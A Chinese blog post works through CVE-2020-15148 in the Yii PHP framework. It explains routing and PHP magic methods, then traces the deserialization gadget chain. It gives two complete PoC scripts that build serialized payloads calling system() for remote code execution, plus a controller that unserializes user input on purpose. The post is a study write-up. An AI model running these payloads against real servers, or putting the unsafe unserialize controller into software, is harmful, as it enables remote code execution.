window.cnblogsConfig = { progressBar: { color : '#77b6ff', }, }

Yii 反序列化 从0开始(一)

Yii 反序列化 从0开始(一)

之前做反序列化的时候遇到了yii框架。简单看了看,以为自己懂了(我懂个🔨)。后面祥云杯遇到了,题目把利用链都给出来了。我只知道POP过程,但是我语法一点都不懂啊。还是没构造出来。因此决定写个博,系统的学习一下yii框架的反序列化。

什么是yii框架

​ Yii是一个基于组件、用于开发大型Web应用的高性能PHP框架。Yii提供了今日Web2.0应用开发所需要的几乎一切功能。

​ Yii 是一个通用的 Web 编程框架,可以用于开发几乎所有的 Web 应用。由于它是轻量级的且具备了成熟的缓存解决方案,它特别适用于开发高流量的应用,例如门户,论坛,内容管理系统(CMS),电子商务系统等等。

不知道我的理解对不对。我觉着吧。这就是个模板的东西。给你了模板,你需要什么往上套就行了。反正这个对我们的反序列化不重要。

我们只讲对我们序列化有用的东西。

yii控制器,路由,操作

#控制器:是继承yii\base\Controller类的对象。负责处理请求和生成响应--->暂时可以将它理解为一个类。
#操作:控制器由操作构成,它是执行终端用户请求的最基础单元--->可以将它理解为方法
#路由:终端用户通过所谓的路由寻找到动作。--->理解为找到操作的地址
namespace app\controllers;

use yii\web\Controller;
class SiteController extends Controller			   //控制器Site
{
    // ...现存的代码...

    public function actionSay($message = 'Hello')  //操作Say
    {
        return $this->render('say', ['message' => $message]);
    }
}

根据这个例子,我们可以看出。YII中控制器和操作的构成

#控制器:控制器IDController
#操作:action操作id。yii中使用action来区分普通方法和操作
#注意他们的首字母都要大写
#路由:单独讲一下
路由使用如下格式:
ControllerID/ActionID
    
如果属于模块下的控制器,使用如下格式:
ModuleID/ControllerID/ActionID

那么如何在浏览器中使用这些呢?

#假如在Index.php下
http://xxxx/index.php?r=site/say&message=Hello World!
视图就跳过了,对我们的反序列化貌似没用。
经过视图后,浏览器显示出hello,world。

命名空间和Use的使用

我们可以看见在每一个控制器前都有一个命名空间,有些还会有use。那么这又是什么东西呢

#命名空间:php中不允许一个目录下出现两个同名的类,但是假如我们在首页有一个评论区。那么有一个类Comment
		#在其它页面也有一个Comment类。那么在同一目录下,就会产生冲突。
		#那为什么以往我写代码没有这个问题呢?因为我写的项目太小,而且都采用了一个类一个新文件的方法。因此用不到这个。
		#那么现在就把命名空间理解成一个目录。
		#这里还需要理解一下虽然我们写的代码在一个file中,但是因为命名空间的存在,他们是分割开的.不能直接调用其它命名空间类

#use:如果我们需要调用其它命名空间下的类,这个时候我们就可以使用use来调用其它类。其作用类似于php include方法。

到此。我们反序列化需要的yii知识点已经全部讲解完了。

反序列化中的魔术方法

所谓的魔术方法,指的是那些当满足触发条件时,自动被调用的方法。这类方法通常可以作为我们反序列化的跳板或入口。

__construct():当一个类被创建时调用,也就是调用New class时调用。反序列化时不会被调用
    
__destruct():析构函数,被销毁前调用,即类中最后被自动调用的函数。那么这里有个问题,我创建了类为什么会被销毁呢?在官方文档中
             我们可以看见,php中有一种垃圾回收机制。当对象不能被访问时就会被自动回收。而析构函数就是被回收前调用的。
    
__sleep():执行serialize()序列化函数时会先调用这个函数。
    
__wakeup():当执行unserialize()时会先调用这个函数。
    
__toString():当一个对象被当作字符串时,自动调用。在题目中一般当进行正则匹配时,return时等一系列字符串操作时,会当作字符串。
    
__invoke():当把一个类当作函数时自动调用。
    
__call():在对象中调用一个不可访问的方法时调用,并且该不可访问的方法将作为__call的第一个参数。
    
__get():当访问不可调用的属性时会被调用。
  
通常我们以__destruct,__wakeup做为反序列化的起点。

反序列化常见的起点,终点

其实这个没有固定的。我只能列出常见的。肯定要具体问题具体分析的

起点:__wakeup(),__destruct()
终点:call_user_function(),file_get_contents(),找危险函数就行。

CVE-2020-15148

适用范围:Yii版本<2.0.38

下载安装yii 2.0.38(方法自行百度)

本文是根据CVE一步步复现的,我自己肯定挖不出来这玩意儿。

咱们先全局搜索一下__destruct

image-20210824122636029

根据CVE说,在BatchQueryResult::__destruct()作为我们的起点函数。

image-20210824123036192

可以看到这个地方调用了rese()函数,跟进这个reset(),又调用了close()。

这里重点是我们的_dataReader是可控的,那么我们可以通过编辑_dataReader()使得close()调用失败,从而调用__call()方法。

那么我们找一个合适的__call()方法。

在Generator.php中找到了一个__call方法。会调用本类的format。跟进format

image-20210824123701320

拿到以下内容。这里看到了我们的call_user_func_array。这个跟我们的call_user_func的区别是,第二个参数为数组,作为回调函数的参数。image-20210824123824125

进一步分析一下,因为我们的__call里面传递的参数是'close'.也就是我们的format('close');

那么最终传递到getFormatter中的也是'close'

因此最后return的语句如下

return $this->formatters['close'];
↓↓↓
call_user_func_array($this->formatters['close'])

因为我们的第二个参数从__call开始就是为空的,那么这里很明显我们只能调用一个无参的函数。

继续全局搜索.

这里可以用师傅们的正则 function \w+() ?\n?{(.*\n)+call_user_func

就可以直接找到可以利用的函数了。最后在IndexAction中找到了run()方法image-20210824125124585

可以看到,这个$this->checkAccess,$this->id 都是我们可控的。那么成功达到了RCE。

BatchQueryResult::__destruct-->BatchQueryResult::reset()↓↓Generator::__call('close')--->Generator::format('close')--->Generator::getFormatter-->call_user_func_array('Run')↓↓IndexAction::run($checkAccess,$id)--->RCE

POC1(BatchQueryResult入口):

<?phpnamespace yii\rest{							#创建一个命名空间跟文件中的相同    class IndexAction{		  				#都跟原文件一样,但是要把extend去掉。因为那些类我们这里没有。也不需要        public $checkAccess;			 	 #两个属性        public $id;        function __construct()				 #两个属性初始化        {            $this->checkAccess = 'system';            $this->id = 'dir';        }    }}namespace Faker{							#创建命名空间    use yii\rest\IndexAction;				 #将上面的内容包含导入进来    class Generator{						#创建要利用的类        protected $formatters = array();	  #要利用的属性        function __construct(){				 #初始化            $this->formatters['close'] = [new IndexAction(),'run'];            #这里这么写是因为call_user_func_array的原因        }    }}namespace yii\db{							#创建命名空间    use Faker\Generator;					 #将上面的内容导入,因为上面导入了第一个,因此相当于导入了第一个。    class BatchQueryResult					 #要利用的类    {        private $_dataReader;        function __construct()				  #利用类初始化        {            $this->_dataReader = new Generator();        }    }}namespace {									 #创建命名空间这里生成我们的payload    use yii\db\BatchQueryResult;    echo base64_encode(serialize(new BatchQueryResult()));}

此时我们的页面上没人反序列化的入口。我们自行创建一个。

在controllers目录下创建SerializeController.php

<?phpnamespace app\controllers;class SerializeController{    public function actionSerialize($data){        return unserialize(base64_decode($data));    }}

这时候就可以利用我们的链进行RCE了。在URL中输入?r=serialize/serialize&data={反序列化后生成的内容}

image-20210824133043008

POC2(RunProcess入口)

其实来讲,思路是差不多的。这几个POC都是后面利用到了这个run()这里。只是入口不同罢了。

因为2.0.38版本在BatchQueryResult中添加了__wakeup()。导致这里的入口点触发不了了。但是__call之后的是完好的。那么我们换一个地方进入就行了。

这里的入口点改成了RunProcess这里触发。

可以看见这里$process可控。那么这里的isRuning()和stop()都能触发我们的__call.修改一下链子继续用

image-20210824133900672

<?phpnamespace yii\rest {    class IndexAction    {        public $checkAccess;        public $id;        function __construct()        {            $this->checkAccess = 'system';            $this->id = 'dir';        }    }}namespace Faker {    use yii\rest\IndexAction;    class Generator    {        protected $formatters = array();        function __construct()        {            $this->formatters['isRunning'] = [new IndexAction(), 'run'];        }    }}namespace Codeception\Extension {    use Faker\Generator;    class RunProcess    {        private $processes = [];        function __construct()        {            $this->processes[] = new Generator();		#这里processes后面必须加[]        }    }}namespace {    use Codeception\Extension\RunProcess;    echo base64_encode(serialize(new RunProcess()));}

image-20210824134628948

其它几条链子都大同小异,最终点都还是在这个IndexAction的run()这里。就不多说了。

posted @ 2021-08-24 13:54  k1he  阅读(247)  评论(1编辑  收藏  举报